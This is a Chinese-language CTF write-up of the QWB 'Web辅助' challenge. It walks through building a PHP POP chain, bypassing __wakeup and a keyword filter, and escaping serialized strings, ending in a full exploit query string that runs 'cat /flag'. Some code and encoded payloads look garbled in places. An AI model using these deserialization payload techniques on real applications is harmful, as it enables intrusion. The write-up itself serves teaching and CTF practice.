本文首发于“合天智汇”公众号 作者:Ch3ng

这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程

题目源码

index.php

获取我们传入的username和password,并将其序列化储存

...
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
...

common.php

这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方

<?php
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
} function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>

play.php

在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作

...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...

class.php

这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag

<?php
class player{
protected $user;
protected $pass;
protected $admin; public function __construct($user, $pass, $admin = ){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
} public function get_admin(){
$this->admin = ;
return $this->admin ;
}
} class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
} public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
} public function __destruct(){
$this->TP();
} } class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
} public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
} public function __invoke(){
$this->Gank();
} public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
} class jungle{
protected $name = ""; public function __construct($name = "Lee Sin"){
$this->name = $name;
} public function KS(){
system("cat /flag");
} public function __toString(){
$this->KS();
return "";
} }
?>

涉及考点

  • POP链的构造
  • __wakeup的绕过
  • 关键字“name”检测绕过
  • 反序列化字符串逃逸

题目出现的魔术方法

  • __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
  • __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  • wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
  • invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
  • __toString():用于一个类被当成字符串时应怎样回应

POP链

POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来

POP链的构造

这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在midsolo中,invoke()会触发Gank方法,执行了stristr操作。

我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:

<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
echo $a; //输出:__toString()

在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:

<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
stristr($a,'name'); //输出__toString()

所以整个POP链已经构成了

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')

即:

<?php

class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
}
} class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
}
} class jungle{
protected $name = ""; }
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
输出:
O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D

在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2

O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A2%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D

O::"topsolo"::{s::"\000*\000name";O::"midsolo"::{s::"\000*\000name";O::"jungle"::{s::"\000*\000name";s::"";}}}

关键字“name”检测绕过

···
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
···

这里使用十六进制绕过\6e\61\6d\65,并将s改为S

O%3A7%3A%22topsolo%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A7%3A%22midsolo%%3A2%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A6%3A%22jungle%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3Bs%3A0%3A%%%3B%7D%7D%7D

字符串逃逸

访问index.php,传入数值,得到序列化内容

O::"player"::{s::"\0*\0user";s::"";s::"\0*\0pass";s::"O:7:"topsolo":1:{S:7:"\*\\6e\\6d\";O:7:"midsolo":2:{S:7:"\*\\6e\\6d\";O:6:"jungle":1:{S:7:"\*\\6e\\6d\";s:0:"";}}}";s::"\0*\0admin";i:;}

可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来

···
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
}
···

在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username

username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\

在password中补上被吃掉的pass部分,构造password的提交内容

password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

最后提交

?username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\&password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D

然后访问play.php即可得到flag

实验推荐

PHP反序列化漏洞实验

https://sourl.cn/NRvGJs

通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

细说强网杯Web辅助的更多相关文章

  1. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  2. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

  3. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  4. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  5. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  6. 细说Asp.Net Web API消息处理管道(二)

    在细说Asp.Net Web API消息处理管道这篇文章中,通过翻看源码和实例验证的方式,我们知道了Asp.Net Web API消息处理管道的组成类型以及Asp.Net Web API是如何创建消息 ...

  7. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  8. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  9. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

随机推荐

  1. Python List len()方法

    描述 len() 方法返回列表元素个数.高佣联盟 www.cgewang.com 语法 len()方法语法: len(list) 参数 list -- 要计算元素个数的列表. 返回值 返回列表元素个数 ...

  2. luogu P2510 [HAOI2008]下落的圆盘

    LINK:下落的圆盘 计算几何.n个圆在平面上编号大的圆将编号小的圆覆盖求最后所有没有被覆盖的圆的边缘的总长度. 在做这道题之前有几个前置知识. 极坐标系:在平面内 由极点 极轴 和 极径组成的坐标系 ...

  3. CMD使用笔记

    CMD杂谈 基本功: 1,列出所有任务及进程号,杀进程   tasklist tasklist /? 获取使用帮助 taskkill taskkill /? 获取使用帮助   2,cd 切换目录 cd ...

  4. day12. 闭包

    一.概念 """ 如果内函数使用了外函数的局部变量, 并且外函数把内函数返回出来的过程,叫做闭包 里面的内函数是闭包函数 """ 二.基本语 ...

  5. ThreadLocal刨根问底

    一.ThreadLocal使用场景 数据库连接connection对象使用,每个客户都能使用自己的connection对象.不会出现客户A操作关闭了客户B的connection 案例:https:// ...

  6. 数据结构进阶:ST表

    简介 ST 表是用于解决 可重复贡献问题 的数据结构. 什么是可重复贡献问题? ​ 可重复贡献问题 是指对于运算 \(\operatorname{opt}\) ,满足 \(x\operatorname ...

  7. Python自动化爬取App数据

    基本环境配置 版本:Python3 系统:Windows 需要安装: 1.JDK - Download JDK,Appium要求用户必须配置JAVA环境, 否则启动Seesion报错. 很多人学习py ...

  8. Springboot 在@Configuration注解的勒种 使用@Autowired或者@value注解 读取.yml属性失败

    springboot中@value注解,读取yml属性失败 问题场景: 配置ShrioConfig时,想注入.yml的参数进行配置 解决办法: 如果注释掉shiroEhcacheManager 以下所 ...

  9. WebApi的创建,部署,Oauth身份认证(一)

    1.首先创建一个项目 2.选择Web API 3.创建一个空的控制器 4.控制器名称为MyApiController using System; using System.Collections.Ge ...

  10. react中iconfont如何使用

    一.配置 this.state={ tabs:[ { path:"/home", icon:"\ue628", name:"首页", }, ...